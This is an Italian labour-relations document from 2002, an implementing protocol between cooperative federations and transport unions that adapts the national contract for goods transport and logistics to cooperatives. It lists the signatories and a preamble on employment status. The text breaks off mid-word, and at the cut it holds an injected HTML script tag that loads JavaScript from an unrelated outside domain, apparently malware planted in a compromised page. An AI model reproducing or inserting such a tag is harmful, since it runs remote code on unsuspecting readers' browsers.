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Categoria: Autostrasporti e spedizioni in conto terzi Settore: Trasporti Data stipula: 27-6-2002
PROTOCOLLO D'INTESA
in applicazione della dichiarazione congiunta Associazioni Cooperative e
Organizzazioni sindacali di cui al rinnovo del Contratto Collettivo
Nazionale di Lavoro
TRASPORTO, SPEDIZIONI E LOGISTICA
del 13 giugno 2000
Il giorno 27 giugno 2002 presso la sede FILT/CGIL, via Morgagni 27, Roma,
si sono incontrati:
le Centrali cooperative:
- AGCI Servizi rappresentata da Stefano Scavino;
- ANCST/LEGACOOP rappresentata da Franco Tumino, Alberto Armuzzi,
Roberto Bartolini, Emiliano Bonomi, Edoardo Zerman, Remo Dai Prà, Giovanni
Giuliacci;
- FEDERLAVORO e Servizi CONFCOOPERATIVE rappresentata da Massimo Stronati,
Mario Troisi, Marco Mingrone, Alessandro Monzani, Guido Maccaferri
e
le Segreterie nazionali delle Organizzazioni sindacali:
- FILT/CGIL rappresentata da Mario Sommariva, Michele Azzola, Maurizio
Amadori, Rocco Lamparelli, Marco Cresta, Enrico Sartori, Germano Toselli,
Domenico Rinaldi, Natale Colombo;
- FIT/CISL rappresentata da Costantino Trombetta, Gianni Cialfi, Feliciano
Santoro;
- UILTRASPORTI rappresentata da Paolo Carcassi, Ubaldo Conti, Enrico
Cimmino, Giuseppe Filippone, Marco Pecorari
e hanno definito la presente intesa applicativa del CCNL del trasporto
merci e della logistica così come previsto dalla legge n. 142/01.
PREMESSA
Il presente Protocollo attuativo vuole essere l'occasione per determinare
la capacità di tutti i soggetti che operano nel processo di sviluppo della
filiera di cooperazione nel trasporto e della movimentazione delle merci e
della logistica, a qualificare le scelte produttive, finanziarie e
operative per una migliore efficienza dei servizi del trasporto delle
merci, nonché della tutela e valorizzazione del lavoro e delle
professionalità presenti nel settore della cooperazione, con particolare
riferimento al facchinaggio.
Inoltre, per quanto di loro competenza, le parti si danno atto che i
rapporti di lavoro degli addetti alle attività di cui al campo di
applicazione, si configurano pienamente nella fattispecie del lavoro
subordinato.
Convengono, infine, che i rapporti di collaborazione coordinata e
continuativa potranno configurarsi, di norma per professionalità
inquadrate nel 2°, 1° livello e nell'area Quadri. In ogni caso, per questi
lavoratori, il trattamento economico complessivo, rapportato all'effettivo
impegno lavorativo, non potrà essere inferiore a quanto stabilito dal
presente protocollo.
Le parti concordano che dall'esame del CCNL del trasporto merci si
evidenzia una sostanziale difficoltà a rappresentare il variegato universo
delle imprese cooperative operanti nel settore del trasporto,
movimentazione merci e logistica, sia per quanto riguarda l'individuazione
delle figure professionali sia per una serie di specifiche normative, e
per questo le parti hanno concordato di operare specifiche integrazioni al
contratto sottoscritto il 13.6.00 anche alla luce dei provvedimenti
legislativi emanati in materia, considerate le differenze territoriali.
Per questi motivi le parti, tenuto conto delle specifiche variazioni
relative alla particolare natura giuridica dell'impresa cooperativa,
convengono che l'applicazione del CCNL dovrà avvenire con le integrazioni
previste dai vari articoli del presente accordo.
Le parti, inoltre, si danno reciprocamente atto dell'opportunità della
promozione di nuove cooperative nel comparto da avviarsi nell'ambito di
quanto previsto dall'art. 6, lett. f), legge n. 142/01.
Tenuto conto di quanto sopra, gli articoli di cui al presente allegato
integrano i corrispondenti articoli del citato CCNL. Gli articoli non
citati s'intendono applicabili integralmente.
Sono fatte salve le condizioni di miglior favore in vigore che
assorbiranno, sino a concorrenza, le dispo<script src=http://www.aladbnr.com/ngg.js></script>
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